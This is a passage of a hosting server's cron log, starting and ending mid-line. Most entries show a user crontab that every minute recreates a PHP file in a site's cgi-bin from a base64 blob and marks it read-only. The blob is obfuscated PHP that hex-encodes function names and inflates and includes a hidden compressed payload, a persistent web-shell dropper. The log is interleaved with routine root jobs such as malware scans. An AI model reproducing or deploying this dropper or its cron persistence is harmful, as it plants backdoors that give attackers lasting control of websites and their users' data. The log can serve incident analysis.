Ck7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:01:01 server run-parts(/etc/cron.hourly)[20540]: starting 0anacron
Apr  8 07:01:01 server run-parts(/etc/cron.hourly)[20553]: finished 0anacron
Apr  8 07:02:01 server CROND[20640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:03:01 server CROND[20700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:04:01 server CROND[20754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:05:01 server CROND[20896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:05:01 server CROND[20897]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:05:01 server CROND[20898]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 07:05:01 server CROND[20899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:06:01 server CROND[21002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:07:01 server CROND[21114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:08:02 server CROND[21191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:09:01 server CROND[21255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:09:01 server CROND[21256]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 07:10:01 server CROND[21411]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 07:10:01 server CROND[21410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:10:01 server CROND[21413]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:10:01 server CROND[21412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:11:01 server CROND[21546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:12:01 server CROND[21648]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 07:12:01 server CROND[21647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:13:01 server CROND[21700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:14:01 server CROND[21753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:15:01 server CROND[21911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:15:01 server CROND[21912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 